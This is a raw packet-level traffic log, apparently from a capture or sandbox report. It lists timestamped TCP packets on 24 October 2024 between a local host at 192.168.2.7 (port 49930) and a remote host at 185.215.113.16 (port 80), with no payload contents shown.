Oct 24, 2024 04:02:02.761272907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761282921 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761296034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.761320114 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.762093067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.762137890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.762140036 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.762149096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.762159109 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.762180090 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.762201071 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.762216091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.762224913 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.762262106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.794894934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794914961 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794919014 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794929028 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794934988 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794939995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794955015 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794967890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.794980049 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.795018911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.795447111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.795504093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.795506001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.795553923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.842900038 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.842955112 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.842966080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.843085051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.843085051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880014896 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880043030 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880053997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880158901 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880172014 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880211115 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880223036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880242109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880242109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880242109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880268097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880268097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880268097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880283117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880295038 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880306959 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880330086 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880342007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880342960 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880379915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880842924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880891085 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.880898952 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880911112 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.880947113 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.881020069 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881031990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881042957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881063938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.881093979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.881531954 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881544113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881555080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881583929 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.881603003 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.881604910 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881620884 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.881647110 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.881660938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.913917065 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.913928032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.913983107 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914088964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914143085 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914160013 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914172888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914184093 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914196968 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914210081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914222002 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914292097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914292097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914292097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914292097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914292097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914292097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914292097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.914835930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.914895058 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.962075949 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.962088108 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.962140083 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.962157965 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.999500036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999520063 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999531984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999542952 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999555111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999638081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999720097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.999720097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.999720097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.999756098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999767065 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999778032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999789953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999802113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999810934 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.999814987 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999826908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.999835968 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.999855042 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.999880075 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.000628948 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.000641108 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.000652075 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.000665903 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.000679016 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.000694990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.000724077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.000946999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.000966072 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.000977993 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.000998974 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.001009941 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.001028061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.001200914 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.001211882 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.001241922 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.001260996 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.001261950 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.001274109 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.001291037 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.001298904 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.001317024 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.001333952 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.033185005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.033201933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.033318043 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.033888102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.033906937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.033920050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.033965111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.033977032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.034041882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.034041882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.034041882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.034081936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.034111977 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.034125090 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.034140110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.034152031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.034185886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.034198046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.118571043 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118585110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118602037 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118613958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118626118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118653059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.118685961 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.118751049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118762016 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118778944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118788958 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.118792057 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.118823051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.118849993 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119093895 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119148016 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119229078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119240999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119278908 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119291067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119297028 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119303942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119321108 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119332075 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119344950 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119364977 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119712114 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119724035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119735003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119771004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119771957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119784117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119788885 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119796038 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119808912 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119821072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119822025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.119839907 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.119869947 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.120456934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.120471954 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.120479107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.120490074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.120501041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.120527029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.120568037 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.153034925 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153052092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153062105 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153073072 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153084993 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153189898 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153199911 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153208017 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.153208017 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.153209925 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153228998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.153242111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.153409958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153419971 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153429031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153441906 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.153453112 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.153481007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.237999916 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238080978 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238117933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238130093 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238141060 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238157034 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238162994 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238168955 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238181114 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238190889 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238203049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238203049 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238214970 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238224983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238225937 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238238096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238246918 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238248110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238265991 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238286018 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238698959 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238742113 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238835096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238847017 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238878012 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238899946 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238909006 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238946915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.238974094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.238986015 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239018917 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.239108086 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239120960 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239150047 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.239171982 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.239334106 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239345074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239355087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239376068 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.239391088 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239398956 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.239403009 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239413977 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239424944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239429951 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.239438057 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.239458084 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.239483118 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272212982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272264957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272277117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272281885 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272306919 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272329092 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272355080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272372007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272384882 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272397041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272397041 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272408962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272416115 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272434950 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272473097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272603035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272644043 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272653103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272692919 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272722006 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272732973 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272743940 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272754908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.272761106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272784948 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.272809982 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.356935024 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.356993914 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357003927 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357013941 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357024908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357095003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357105970 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357105970 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357105970 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357125998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357136965 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357141972 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357170105 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357295990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357336998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357337952 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357347965 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357358932 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357378006 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357395887 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357588053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357628107 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357629061 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357667923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357722044 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357733011 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357743025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357762098 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357785940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.357948065 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357959032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357969999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.357990026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358011961 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358011961 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358023882 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358048916 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358061075 CEST	49930	80	192.168.2.7	185.215.113.16
